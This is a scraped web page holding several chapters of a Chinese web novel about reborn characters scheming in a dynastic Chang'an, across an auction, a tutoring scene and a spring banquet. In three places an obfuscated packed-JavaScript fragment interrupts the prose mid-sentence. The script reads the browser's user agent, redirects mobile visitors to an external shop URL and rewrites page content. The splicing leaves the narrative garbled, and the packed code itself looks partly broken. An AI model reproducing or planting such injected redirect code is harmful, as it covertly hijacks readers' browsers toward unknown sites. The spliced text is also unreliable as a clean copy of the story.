她同枕清低声嘲讽道:“着实好笑,那些男子不好好想想怎么读圣贤书考取功名,尽是想这些歪门邪道!” 这些流言蜚语似真似假,叫人难辨,许多事情传十传百,或许慢慢就变成真的了,枕清轻轻朝应钰弯唇,压下头上的幂篱匆匆朝外望,这川银楼里的郎君也甚是多。 “沿溪小娘子。” 身后一道清浅动人的声音传来,枕清回身掀开幂篱,看到一个男装模样的陆佑善,她面上挂着淡淡地笑,颔首道:“你来了。” 陆佑善合上手中的扇柄,款步而来,颇像一个风度翩翩的少年郎,倒也能叫小娘子乱了芳心。应钰眼中闪过惊艳之色,她一直觉得枕清是最好看的人,但陆佑善和枕清两人站在一起,确实难分高下,可真正称为绝艳双姝。 佑善朝应钰和枕清行了一个男子的作揖,枕清还了万福,应钰则是无视,等两人都看向她时,她露出一个歉意的微笑。 应钰眼中轻慢显明,皮笑肉不笑道:“我就是个乡野来的粗粝丫头,不太懂礼数,想必小娘……郎君不会为这等小事怪罪我吧?” 从第一天看到应钰,佑善就发现应钰对她的敌意极深,她觉得自己并没有哪里做得不对招惹到了她,这毫无来由的敌意,叫她有些无措。难道是因为怕自己和枕小娘子关系太好,从而忽略了她? 她压下心中疑惑,声音带了几分豪爽气,道:“无事,都是好友,也不讲这些虚礼。” 虽然在许多事上,应钰会随心所欲,但该有的礼节一点也不会少,拂别人面子的事情亦是少有发生,更何况佑善也没做不利于她们的事情。 沉思间,枕清的视线徐徐探向应钰,应钰如同被发现做小坏事的小孩,心虚地偏过脑袋,不去看枕清。 待佑善去拿入阁楼的牌子,枕清第二次问:“你好像不喜欢佑善?” “我的确不喜欢她。”应钰反问道,“你好似很喜欢她?” 枕清承认,“她的为人确实不错。” “如果我说,未来有一天她会和你反目,你也觉得她好?”应钰急声反问,脱口而出的话连她自己也被惊吓住,她似是气恼,又像是如释重负。 枕清掀开幂篱,定定地看她,问:“你知道什么?” 应钰瞧了眼还在远处的陆佑善,垂眸掩饰挣扎,她道:“我好像做了一场梦,梦到你和她争抢皇后之位,最终反目成仇,而且那个登上皇位的人是你之前碰到的郎君,是张……” 枕清打断她的话,“何时梦到的?” “进入长安城的第一天。”应钰发觉失言,环顾四周,并未有人朝她们这儿望来。 枕清双手搭在应钰的肩上,她迫使应钰同自己对视,枕清认真道:“梦并非都是真的,我和她不会反目成仇,那个位置,我一点也不稀罕,你难道觉得我会不知好坏吗?” 应钰摇头,可她实在害怕。枕清知她所想,又道:“信我。” 这两字沉甸甸的,继枕清说完,应钰真的放心了下来,没再对陆佑善显露出自己的敌意。 佑善取完牌子,心中频频惊讶,不知道枕清是怎么说服应钰,叫她态度这般转变,又有些羡慕她们这样的情谊。 入座后,枕清和佑善闲谈欢快,好似天南地北都能十分熟络,佑善也是个心思细腻的人,即使和枕清聊得好,也不会忽略应钰,应钰只好变扭地说了一两句。 平心而论,如果没有那一场似假似真的梦,应钰也会觉得陆佑善是个不错的人,她应该抛开那些事,好好和佑善相处。 “你前日和我说雷州,不就是有意不瞒我,你的身份。”陆佑善在枕清耳畔道,“其实我是尚书之女,我觉得县主是聪明人,理应能猜到。” 枕清微笑,矢口否认:“我猜不到。” 佑善也跟着笑,看着台上的宝石珠玉,到底是没说信不信她这句话。 这川银楼的拍卖阁里都是权富之人,有人欣赏自用,也有想择他人喜好赠予,从而攀权获利。 应钰眼瞳映着满目玲琅的珠宝,蠢蠢欲动,佑善感知到应钰的兴趣,她缓缓问道:“你可知剖腹藏珠?” 应钰乜了她一眼,摇头。 佑善下意识轻轻一笑,她解答道:“据说西域贾胡得美珠,不惜残害肉身,剖身藏之。也有许多人都呵斥他们爱财不爱其身也。”[1] 第一次听闻这件事的应钰惊讶张唇,好半晌才出声,道:“我之前对于这事闻所未闻,这可是真的?” 佑善觉得是真的,但又没有实在的证据,枕清像是知道她不敢随意开口的思量,下一刻,她听枕清缓缓道:“是真的,珠宝体小,利市三倍,自然有很多人不惜性命也甘愿冒着风险跨海而来。 “胡商大多将珠宝藏匿在肉多处,例如手臂、腋下、大腿内,既可以用衣物遮挡,也有较大的藏匿空间,虽然行走会受影响,但若是有人察觉问起,也可以推脱为受伤或是身体不好。”[2] “若到疼痛难以忍耐,也有通痹止疼的草药,在酒中放入。”枕清压低声,“天仙子,可麻痹其痛,但这位药也极其危险,也被称为妖药,它会使人痰迷,那时,视人皆为鬼。” 待枕清说完,佑善和应钰皆变换了眼神,从藏珠聊到草药,枕清平时不开口,一开口像是百晓通。 枕清看着她们眼神逐渐带有崇拜,她略有不好意思地轻咳一声,其实她还有一半没说。大启朝大力监管珠宝,对波斯、胡商财产保护有限,若是异国客商身死,财产无人认领便全部充公,所以人死珠没,那些商客得不到钱财便会报恩赠予恩人。 甚至发生过故意恩惠胡商,买凶杀人,以此来残忍获利。枕清轻轻垂眸,遮住自己冷寒的神色,叫人不曾发觉。 阁楼内拍卖的珠宝光彩耀人,抬价的声响此起彼伏。 枕清伸出修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665296|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长白皙的手,静静撇开杯中浮沫,朝不远处一望,看到一道熟悉的身影,她敛下兴致淡淡的眉眼,顾向满眼惊艳的应钰和佑善,浅浅微笑。 这里不只有珊瑚宝玉、精雕翡翠,还有前朝凤冠、尚方宝剑。 枕清终于看到自己想看到的宝剑,她示意应钰举牌,应钰当即明白,高声喊价。 佑善眉尾上挑,望向平稳喝水的枕清,也笑着跟着举牌,直到价格高出几倍不止。枕清此举只为了逼出一个人现身,并非是真心要买,她放下杯子微微摇头,表示停止。 而另一边的云行野拧眉,他听到有两位娘子不停和他抬价,如果再喊一次他就会放弃,可那个人如同知道他的底线一样,不再高喊抬价。 要不是父亲生辰快到了,他也不会拿出那么多银子,云行野正朝那几个人望去,就看到在中间的陆佑善,他跨步走过去,拦住陆佑善,他低头凝视,问:“你故意的?” 眼前约莫十六七岁的少年郎,他长身玉立,丰神挺秀,眼中尽显坚毅和执拗,挺鼻下的双唇紧抿成线,脸庞线条利落分明,勾勒少年的俊俏模样。 枕清将佑善护到自己身后,直面少年的愠怒,她微笑道:“郎君在说什么呢,是陆小娘子见我喜欢,替我举牌子罢了。” 云行野挑眉:“你一小娘子,要什么宝剑?” “送人,难不成你还想管我送什么人吗?”枕清视线移至云行野身后阔步而来的人,唇角的淡笑渐渐趋平。 那人着一身天青色素面翠竹纹底锦袍,腰间束一条同色丝带,整个人素净又淡雅,步态沉稳从容,目光坚定又不失温柔,带起的一阵清风,叫人心头一颤。 应钰看清那人的相貌,手当即攥成拳,神情僵硬地望向平静无波的枕清。 时隔多日,枕清终于再次见到了那个想见的人。 她越过云行野,浅福了一礼,单刀直入:“我叫枕清,想必郎君听过我。” 被枕清唤一声郎君的少年美如冠玉,松形鹤骨,一双眼眸犹如潺潺春水,也似黛青色的远山,让人难以接近,偏偏含笑的唇瓣,如沐春风般拉近距离,叫人觉得他若即若离,辨不明亲疏。 江诉缓缓抬眸望她,亦朝枕清微微作揖,后不解问道:“为何会这么觉得?” 枕清道:“因为你曾来看过我。” “何时?” “上辈子。” 气氛微微僵硬,江诉问道:“上辈子?那你可知道现代?” 枕清如实道:“我不知道。” 两人都在彼此交替的眼中看到了失落,枕清缄默着,不知道是该喜还是悲。 江诉唇角依旧带着笑,并未想与之继续攀谈,枕清见人走得几步远,她试探地喊了一声:“江侍郎。” 江诉的脚步未停,反倒身旁的云行野困惑地瞧了她一眼,又转身和江诉边走边交谈,“她为什么喊你江侍郎?你不是才到中丞的位置吗?” 话音刚落,卷风掀起江诉的衣角,前行几步远后,江诉徐徐回头探看,只见方才的小娘子仿若遇到了难题,正垂首沉思。 在此前,他的确没看到过这位小娘子,于是转身继续往前走,同身旁的人落下一句:“我并不知道。” 他不认识。 那么,江诉没有重生,知道的人只有应钰和张宣晟,枕清现在还不清楚触发重生的原因究竟是什么。 一旁的应钰恍若受惊,朝后退一步,撞上案几,发出一阵不小的声音,佑善回过神随即扶住她,应钰勉强弯起笑,摆手示意自己无碍。 她面露苦涩,喉头微哽,含泪问枕清,“我那不是梦,对不对?” 外边的金乌高挂枝头,在屋内映出金灿光彩落满一地残阳,窗沿流苏顺清风吹渡,微微漾荡。 枕清轻声道:“对。” 她也重生了,是在入长安城的第四日。 5. 客里归春又见春(四) 很久以前,师傅曾和她说过,枕清和禹王会是她最亲的人,应钰一直都是这么觉得,一直这么觉得。 她和枕清一同经历过大启朝的败落,大齐国的复兴,看着张宣晟登上帝位,枕清成为皇后。 后来,禹王在二十年前,因利益杀害枕清全家,证据确凿后翻案,成了阶下囚。一个亲密无间的好友,一位极为敬重的舅父,她心如刀绞、枯木死灰,便就此离开了长安这个伤心地。 那一年,她去过许多地方,她越来越想要安定的生活,便在扬州开铺子做生意,小有成就,与当地有声望的郎君盛松言成了亲。 最后她死了,死在了宣和四年。 她知道是谁杀了她,可她不愿意去面对。 时光晃晃悠悠,一转眼又在禹王府的花园里,回到了最初的时候,应钰倚在枕清的怀中。 春光明媚,生机盎然。 柳丝垂,莺声娇。 应钰眼角含着泪花,如果枕情不知道这些过往,她依旧会提起笑容,装成最开始的模样,可所有事情都被枕清一一洞悉,因此无需伪装,于是怎么也抵不住心中的苍凉。 她抬起手挡住头顶烈阳,唇边扬起无尽的苦涩,声音微弱:“春日到了,今日的天色可真美啊。” 枕清抱着怀里的人,仰头望向阳光,瞳孔泛起浅色,声音清冷又坚定:“不要嫁给盛松言,他既愚孝又怯懦。” “你杀他了吗?”应钰轻轻问。 “我杀的不只有他,他们都太贪心了,他们都欠你。” 应钰眼睫陡然一颤,她抬起笑,道:“多谢,替我报仇了。我们好像都变了,你说还能回得去吗?” 这变化并不是绵绵春雨那般细腻浸透,更像是夏日的倾盆大雨,电闪雷鸣般轰然灌入。 可前后都是疾风骤雨,叫人如何回得了头呢? 今日阳光明明那么温暖,可还是让人觉得冰寒刺骨,枕清知道应钰害怕重蹈覆辙,夹在中间难以动辄,只能迫使自己不看、不听、不想。 “不会重蹈覆辙,不会再让你为难。”枕清轻拍怀中的人,温声唤她小字,“惊玉,你是我在长安城里见到的第一春。” 禹王府邸位于长安的东北角,南靠兴宁坊,西接长乐坊,东与北两面毗邻外城城墙。从上至向下望看,成片碧瓦朱甍的宅宇,目及处的殿楼丹楹刻桷,飞檐小兽相接,独自形成一个完整的坊区。 这里既叫人苑坊,也称呼为十六宅,是诸位亲王与皇子的住所。 枕清所在住的院子在禹王府的东面,此处清幽僻静,有水榭楼台,怪石嶙峋,抬眼还能望见不远处的山峦叠嶂,偶有几只鸟兽飞掠作伴,彷若置身于山水之间,远离尘世的人间仙境。 清风拂过葳蕤的草木之间,枕清伸出纤细的手指拢了拢身上雪白的衣领,顺着绿荫花.径的青石路,走过小穿堂,行到长廊,远处是错落有致的阁楼,与近目的竹园相映。 春风骀荡,翠竹绿影婆娑起舞,缓缓映入长廊上。她遥遥望见一人,素面衣裳,风骨卓越又雅俊,单单站在那处,就已生出绝世遗立之姿。 江诉也发现了枕清的身影,他目光淡然地望向来人。枕清身着石榴裙,腰间垂挂一块淡色的平安玉,外披绯色棉袄,精致的玉颜上画着当下流行的桃花妆,更显出俏灵动,像是万点珠翠中最明亮的一抹红。 枕清稳步朝这处靠近,他站在台阶之下,只得稍稍抬起面容。 于是,一人仰面,一人垂首,相互而视。 “沿溪。” 身后一道低沉的嗓音响起,她转身看到高大英俊的身形,眼角眉梢都带上几分欣喜,微微福了一礼,显露女儿家娇俏样,喊道:“阿耶!我正想要找你呢。” “你的病还没完全好,要寻我,唤小厮来,再不济叫惊玉来也是一样的。”禹王声音带着疼惜的责怪。 枕清被说的脑袋微微埋进领子里,小声道:“我又不是弱不禁风,阿耶,我想去太学。” 见人半晌不应,枕清视线微微上抬,只见禹王的目光下睥她,复杂又克制。 枕清眼睫毛如蝴蝶般扑闪,心陡然一悸,紧张道:“虽然太学没有女子的先例,我换作男子模样还不行吗?” “你若真想学,你眼前的这位,他是状元郎出身,官拜中丞,我曾看过他的卷子,文采斐然,让他先教习你几月?” 禹王的语气似是等枕清首肯,又像是下了令。枕清侧身偏过脑袋,清澈明亮的眼眸上下打量江诉,似松了一口气道:“那就依阿耶所言,劳烦中丞大人了。” 这么匆匆下令,没有询问过江诉的意见,他在这里,也像是被随意支配的船只,她似乎明白江诉上一世所说的——我只是封建社会下,被驯服的一缕游魂。 她当下垂眼,掩饰自己一瞬间的失神,佯装自己过于失落,从而心绪不高,微微点头示意自己告退。 走得足够远后,她回身看着没有人影的满园春色,唇瓣勾起嘲讽,一切都如同她预想那般,无论是国子监还是太学,她都进不去,只因自己是女子的身份。 女子啊,那又怎么样。枕清眸中神色愈浓,轻轻哼着调子走远。 江诉方才在枕清失神的眼里,似乎看到一抹可怜,这是在可怜他吗? 禹王默默看着空无一人的前方,缓缓下了台阶,他问道:“来听,你说女子可以入太学吗?” “有何不可。”江诉道。 禹王突然笑了出来,眼角眉梢都带着高兴,让人忽略多年在上位者的凌厉姿态,他伸出食指点了点江诉,又看了看远走的枕清,怅然道:“你们两真是长江后浪推前浪,世上新人赶旧人。你可知道寡人方才为何不答应她?” 江诉卑谦回道:“女子入太学,从未有过先例。一旦发生,会触及许多人的利益,县主极有可能会成了他们的眼中钉。当今朝局党派众多,王爷又是初入长安,同时有政务要完善处理,分身乏术,许多事情不是不做,而是不宜操之过急。” “是啊,那些人急了眼可不管什么王爷还是县主。”禹王走在长廊道上,“沿溪性子倔强,宁折不弯,也从来不怕自己成为别人的靶子。” 江诉跟在禹王身后侧,只听他又道:“可是,我这个当阿耶的,会怕啊。” 世家利益和皇权是对立的,世家强盛皇权必然衰弱。如今圣上被太后所控制,太后母族崛起,成为皇权一派,但尚书令一党羽翼日渐丰满,恐危及皇权,却又不能连根拔起,只好大力推行科举,以此来削弱世家。 江诉就是来弱世家被提拔的寒门子弟之一,他不知道现如今多少张阴暗的面孔在暗处阴恻恻地盯着,但如此内忧外患的政局,确实叫内外交困。 “弱世家,当真有那么好弱的吗?”枕清缓缓地点起香炉,看向对面的应钰,继续道,“大启朝若是连根拔除,势必同归于尽,所以只能等。” 况且大启朝还在休养生息中,二十年里时常发生天灾人祸,朝廷赈灾后,国力明显空虚不足。 应钰轻微拧眉,“可是这个状态下,还能等多久?” “五年、十年都有可能。”枕清慢声道,“惊玉,我一人的力量太过薄弱,我需要你帮我,如果你……” 应钰当即应下:“我帮!你若需要我,我定当竭尽全力。你可是我最好的朋侪,所以你可以告诉我,你想要做什么吗,或是我需要做什么?” “不急,再等一个人。”枕清道。 应钰见她如此说,真就悠然地拿起桌案上的杯盏,思索前些时日,漫不经心道:“你之前在川银楼唤我跟云行野抬高价格,是为了把江诉引出来吗?” “是。若是他什么都知道,或许我们的事情好办许多,只是我和他的关系会比现在恶劣不少。”枕清百无聊赖地把玩手中杯盏,“所以我才贸然出击,打他个措手不及,可他什么都不记得,只有你、我、张宣晟知道上一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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枕清猛然睁开眼睛,瞌意顿然全无,她怒道:“江诉!你简直不要脸,居然要告状!” 江诉听到枕清唤他名字,他眼睛轻轻上抬,又继续若无其事道:“我觉得卯时太过早了,不如辰时开始授课,县主觉得这样不好吗?” 话音刚落,枕清就对上一双明净温和的眼眸,他的唇角依旧挂着淡淡的笑意,脊背挺直,坐如石壁上的青松,独树一帜,令人怎么看怎么赏心悦目,怪不得太后会说即是状元郎也是探花郎。 可有时候她也会觉得江诉比古人还古人,耐性和韧性可真是十成十的足,会不会后世比现在的人还要更加封建。枕清在心中暗自猜测,可又否决了自己想法,人哪能越活越回去啊。 “是我以小人之心度君子之腹了。”枕清想到什么,缓缓凑近,略有歉意道,“那日,我看中丞大人样貌生得极好,便开了个玩笑,说你与我有旧识,还望江中丞海涵。” 江诉淡淡道:“无碍。” 枕清挪动身子,跪坐在江诉的桌案对面,双手撑在桌案上,继续凑近盯着他的双眼,即将贴近他的鼻尖后,轻声问:“当真?” 江诉眼睫因为枕清的靠近,翩翩颤动,呼吸略微一滞,他面无表情地避开枕清的靠近,平静道:“自然当真,县主如果实在困顿,今日便不上课了。” “那哪能行啊,江中丞好不容易休沐的日子被我占用了,我自然要好好听课才是。” 枕清笑乜一眼他,前倾的身子猛然抽离,端正坐回位置上,施施然道:“王府门中的门客都被阿耶请走了,要是再把中丞大人气走,大抵就真没人肯来教我了。” 怎会没人教,县主这个头衔,想要靠近的大有人在,江诉只当她在开玩笑。不过他发现枕清对他态度十分奇怪,好像极为熟识,又像在沉浮挣扎。 江诉敛下思绪,准备重新开始授课,枕清再次趴在桌案上,昏睡中露出半张侧颜。 江诉再次搁下卷子,默默润笔。 当枕清醒来时,江诉已经离开,只留下一卷注解,无需讲述,也能看得清楚明白。 上一世的江诉也是这样的,枕清漠然拿起朱砂批注的卷子,冷冷微笑,手稍稍一松,卷子重新掉落在桌案上,头也不回地离开这间屋子。 风吹,即落,地面摊开艳色字迹。 6. 客里归春又见春(五) 鲜艳的红檀木桌上一堆玉器宝玉,周犹大手一掌,把准备的珠玉挥到一旁,这些日子连枕清的面都没见着,怒不可遏。 “你在梦里说过她会杀了你,现在倒不如直接斩草除根,以绝后患!” 周犹并不觉得用得着枕清的地方,又憋屈说:“今日禹王下令遣散所有门客,我怀疑是她做的手脚,她是否也和你一样,也能想到以后的事情?” 张宣晟唇瓣的弧度逐渐趋平,若有所思道:“她看到我的时候没有一丝讶然,不像是记得那些事。” “可这样是否太过平静了,难道没有一点端倪吗?”周犹当即站起身,俊眉紧拧。 “不认识不知道,自然平静,若是知道了,便是难以克制。”张宣晟苦笑自嘲道,“譬如我。如果她真的知道了,日后定能试探出来,叫她露出马脚,这不上巳节就要来了。” 夏历三月初三,正是上巳节,郊外多丽人流觞曲水,同行游春。 枕清来长安不足一月,送上府门的帖子本会挑选这一两本去赴宴,可有了上一世的记忆,对长安新贵女眷有所了解,现如今也用不上了,枕清借着身体有恙,一一回绝。 上一次见面后,她和陆佑善再也没见过,倒是今日邀请她同去赴春日宴。大抵是因为她来长安也有半月,还没同其他女眷碰面,想将她拉入长安新贵的圈子中。 陆佑善是个贴心的人,枕清也清楚佑善向来不做吃力不讨好的事情,为何拉她一起,估摸着是为了笼络禹王府这层关系,而她也需要攀上长安贵女的人脉,悄无声息地探入,从而显露山水,其实都是各取所需罢了。 况且,现如今尚书和禹王的处境,也是如履薄冰。 想通了事,枕清从阍者手中拿上帷帽,准备坐上早已备好的金犊车。 金犊车是为红色双轮,前方并非是马匹,而是以牛驱驾,牛身左右各立一人,车厢呈长方形,上覆卷棚,四周皆有帷幔屏蔽,后面拖曳长长的绣幰。 饰以金翠,间以珠玉,朱轮华毂,纷华靡丽。 独独是停在王府门口,都被此等不低调晃了眼。 京墨和天冬牵着牛绳,见枕清走来的身影,他们黑溜溜的眸子真诚地望着她,京墨忽而难以启齿道:“县主,你今日……怎得如此招摇。” 在他们眼里,枕清和应钰自幼在雷州长大,对于穷奢极侈的并不上心,甚至外出采买也不喜欢下人跟着,今日上巳节可是一个大变样,叫他们有些诧异。 “招摇?”枕清闻言挑眉看他们,京墨和天冬都是昆仑奴[1],枕清初见他们时,就是卷发黑身,赤.裸上身,下着羊皮短裤,和大启人的样貌虽是大不相同,但那双乌黑清澈的眸子叫人觉得分外真诚。 来长安的路上,禹王曾经听闻昆仑奴个个体壮如牛,性情温良,踏实耿直,于是买下这两人给枕清役使,但枕清不太用得上他们,偶尔如同教习的先生,教他们识字读书,或是近身比试。 和他们相处后,枕清也知道西边有海岛,上面住了不少野人,会有人用食物诱骗他们,抓住后被贩运到大启朝为奴隶,供主人差遣。也有人让他们精习乐舞,供人娱乐消遣。 春风拂过发梢,枕清盖上帷帽,浅浅一笑,道:“要的就是招摇。” 马车路过大道,车外的人被惊讶地呼道:“芳草五陵道,美人金犊车。”[2] 枕清隔着浅蓝色帷幔,朝外望了一眼,敛回视线便看到车头垂缀五色锦香囊,据旁人说囊中可贮辟邪香,她突然想到那天玉佩碎了,禹王面容立时大恸。 他到底是在怕什么。 是怕玉佩碎裂后,他心中的那点愧疚被人发现?还是怕她知道真相,再次杀了他? 枕清垂眸暗自思索,轻轻叹息一声,或许他也有了上一世的记忆。 思绪逐渐混乱,不知不觉中,终于到了郊外布置精美的宴会外,周围都是宝马香车,可比起枕清所乘坐的,略低一筹。 不少富贵家的娘子郎君频频侧头侧身偷偷打量,静静等着车中坐着是什么样的人,可真是好大的排场。 枕清余光微微一瞟,等着青黛福身说到了,她探出纤细白皙的手指,掀开帷幔一瞬后,手被青黛紧紧握住。枕清俯身迈出车后,眼尾挑起诧异,漫不经心地瞧了她一眼,笑着对其余的婢女道:“你们就在此处等我,青黛陪我便好了。” 青黛倒是面无表情,没有任何波动。 其余婢女们福身称是,京墨和天冬相互对视一眼,实在不放心这么多人,正想要争取他们也要陪同,枕清似有所感,掀开帷帽,一个眼神便压了过来,两人只好无奈禁声。 恰在此时,佑善身后跟着好几位婢女走了过来,她看着枕清身旁前拥后呼的一群人,调侃乐道:“我还以为你一直都是那么低调,今日怎么转了性子,还是我之前想错了你的低调。” 陆佑善一来,枕清发现落在她身上的视线更多了,她装作若无其事,还未来得及回佑善的话,就已经有人过来了,那些人的目光停留在枕清身上,其中一位好奇问道:“陆小娘子,这位是谁呀,我在长安可不曾见过这么精致的妙人儿。” 这群人的父亲都是在朝为官,官职品阶还不低,陆佑善不好作答,只好求助地看着枕清,示意她自己回答。 枕清微微一笑道:“我初入长安,这也是第一次和各位女娘碰面,没见过我也属实正常,大家唤我沿溪便好,沿途的沿,溪流的溪。” “我们不讲那么多礼数。”陆佑善笑着接话道。 各位小娘子心神领会的微笑,眼前的枕清到底还没说出自己的门户,或许是上不得太大排面,所以不愿直说,而这架势,大概是有钱的商贾之家。 她们心思游走,没有听过沿溪这两字,也没听到哪家新贵大臣出世,唯独禹王府中的县主叫人颇为留神,而且也不叫沿溪这名字。据说那县主心高气傲,也不待见她们这些人,送的帖子没一个是看得上,更加肯定眼前这人应当不是县主。 不过这是陆佑善的好友,待人也算亲和,她们也不会上赶子找不痛快,给陆佑善面子道“好”。 陆佑善哪里不明白她们这群人心里的小九九,只是有些意外枕清为何不说明自己的身份,偏偏要半遮半掩,她刚想询问,偏又叫人寻了去,回头一看,只见枕清在身后默默微笑,示意自己无碍。 此地偏僻幽静,有山水相伴。 风吹叶动,小姐郎君一颦一簇,叫人顾盼生辉,赏心悦目。 青黛留意到着宴会上也有不少的小厮婢女跟着,枕清自然也观察到了,回首看着还在原地的京墨和天冬,用口型示意他们跟上,顺便和身旁的青黛道:“我看到了好几个熟悉的人,到时候你替我防着点。” 青黛眼神犀利地瞧一眼枕清,枕清压下唇角的笑意,轻道:“你若是不愿意,现在大可以离去。” 手突然被握紧,感受到一阵痛感,枕清强硬忽视疼痛,笑睨着她,低声说:“气急败坏了?这可不像你。” 顾忌人的青黛快要维持不住冷静,小幅度甩开她的手,咬牙道:“闭嘴!” 话落,枕清真的噤声了,暗自舒展自己的手,余光瞥见青黛退居她身后。 身旁还有几道声音传来,最开始的是京墨和天冬。 京墨悄声说:“你说县主为什么还要留着这个杀手啊,她在身旁我总是不放心。” 天冬瞥了一眼青黛,赞同道:“我也不放心,县主好几次叫她走,她也不走。” 青黛露出死亡微笑:“你们可以当我是死人吗?” 枕清噗嗤一笑,拿起桌案上的杯盏掩饰笑意,顺便观察四周的景色,临近溪水边,景色秀丽宜人,只是远处传来的粗粝言语,让她皱了皱眉。 “你说这县主来长安大半个月了,也没胆量出来见人,整日在深深庭院里,是不是奇丑无比。” “谁知道呢,也可能是瞧不上我们这群人,连上巳节都没露个面。” 京墨听不得这些,天冬让京墨不要轻举妄动,青黛则是悠哉般轻哼一声。 只听另一个男子呵呵一乐,接话道:“照我说啊,想必是那县主多半是个长相丑陋,脸有脓包,乃至不敢出面相见,来听,你去过禹王府,可曾见过这个小县主?” 来听,是江诉的字。 枕清循着声音的来处望去,一眼便看到了江诉。 他端坐在桌案前,一身浅色衣裳看起来一如往常的素净淡雅,在层层的新绿中,别有风貌。 江诉忽而抬头,她的双眸直直撞进了江诉平静无波的视线里,也有不少人跟随着江诉视线朝她这边看来,江诉淡笑道:“县主和那位小娘子相差无几。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665298|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 不少人倒吸了一口气,按照江诉所说,这县主长相绝美。 也有人不禁开始思索起了来,有几个聪明的猜测到枕清气质非凡,手笔大方,或许就是县主,便也不敢再讲有关县主的话,但某些个不长眼的不信这般说辞,嗤道:“怎可能?” 讨论的声量渐渐小了下去,枕清静静看着杯中酒水,身旁突然坐下一人,她抬眼的瞬间看到面容带笑的佑善,点头示意。 春日宴上。 清酒一杯,歌舞一遍。 载笑载言,觥筹交错。 佑善侧身贴近,小声问:“怎么不见应钰小娘子。” 枕清回道:“她今日不舒服,便不来了。” “倒也可惜。”佑善扼腕又问,“你要不要试试柳枝沾水,祓禊去灾。” 向来不信这些的枕清并无所谓,正欲点头,突然有一道突兀的男声响起,正巧是方才讨论她的那人。 “如此高兴的日子,不如让沿溪小娘子来给我们舞一曲?” 枕清长相容貌是为上上乘,在座不少郎君垂涎打探,却没有一个人知道她的身份,只知道她和陆佑善走得极近,纷纷猜测是刚入长安的商贾之女,所以男子也料定她不敢拂了众人的面子。 枕清今日穿着一身华丽清贵的衣裳,唯独领子是另一种纯色,看上去娇艳无比,直到看清面容,才知本就是难掩国色天香。 众人皆是在惊愕中闪烁,枕清眼波流转,带着似水的柔情,唯独在张宣晟身上停留半刻,泰然自若敛眸收眼。 这样的面容的确是漂亮,可唯独那双柔弱的眼眸,看向张宣晟时,带着似轻蔑似嘲讽,更是鄙夷不屑,把万物掌控在手中的势在必得,这种令人心惊的神色转瞬即逝,张宣晟再次看去,只余她和旁人谈笑晏晏的纤细身影。 各位小姐郎君左右顾盼,谁都没有注意其中暗流涌动。 从开始进入这场春日宴,大家都心照不宣朝枕清方向流连,她的长相招风,都不言自明地想看一出好戏。 戏的确好看,但若是出现在枕清身上,绝非谈得上好看二字。 云行野瞧了枕清一眼,想到之前让他高价买下宝剑,心里总是梗着一股气,端起桌上的清酒一饮而尽,味道淡得跟水似的,他嫌弃了一会,朝江诉道:“你说她好端端的走这一遭干嘛,想跟着树大招风?” 他这话里的树,显然是陆佑善。 江诉笑而不语。 这里最大的树,除了云行野,便是枕清。 另一边的枕清兴致不高,久久不应,只见一群人不敢正眼打量,悄摸声讨论着。 被忽视的男子正要怒斥发作,枕清适才慢慢悠悠回道:“跳舞我不会,舞剑倒是略会一些,那就赏你个面子给你舞一曲。” “赏?”那男子憋着被忽视的气,刚要说枕清真是好大的脸面,不料枕清从身后侍女的手中拔出利剑,生生截住男子余下的话。 枕清舞剑的动作行云流水,剑花漂亮到不比皇宫内的舞者逊色。声乐仿佛顺着她的律动起伏,一切都是那么地自然和谐,仿佛浑然一体。 剑在空中划出的弧度曼妙多姿,偏偏又凌厉有度,叫人分不清是柔情还是利器。 有些男子看得入迷,却也引来其他骚动,叫枕清跳舞的郎君贬低道:“空有花架子。” 她在宴会中央连轴耍剑,自然也听到了这一番话,忽然抬手用剑尖指着方才一直在叫唤的男子。 琴师看到这一幕,面色大变,手指用力,弹断古筝,琴音怔然一落,枕清立时压低剑锋抵着男子的肩膀,逼近他的脖颈。 动作快得像是只有一道残影,众人纷纷愕然,云行野也被枕清的强悍震惊,反倒是江诉淡然从容,似是早有预料。 枕清挑眉,不顾旁人目光,嫣然一笑,说出的话却是毫不掩饰地威胁,“怎么?吓到了?下次再敢乱说话,这剑可就不是这么舞了,而是会吻上你的脖子,咬上你的血肉。” 那人惊恐万分,胸膛剧烈起伏,感受到脖子溢出的血迹微凉,他不敢动弹,怒瞪枕清,半天说不出一句。 身旁的人见状不善,哆哆嗦嗦地站起身,憋着一股气,怒道:“你这般不服管教,我定要找你家大人说几分理去!” 枕清斜睨他,朗声道:“禹王府,敬候佳音。” 7. 客里归春又见春(六) 禹王府,敬候佳音。 这话比方才‘会吻上你的脖子,咬上你的血肉’更掷地有声,仿佛深深刻进每个人的骨子里,而这话里话外,谁会听不懂眼前这位是县主的意思。 不免有人开始庆幸没有得罪这位县主,更没有如同那个郎君一般大言不惭地说要找枕清的大人。在座的各位,除了云大将军的孩子云行野,哪位配得上和县主同起同坐,更遑论禹王了! 有人心神起伏,不禁喃喃道:“县主。” 陆佑善看着剑拔弩张的氛围,刚想要打个缓怠,可心绪忽而一闪—— 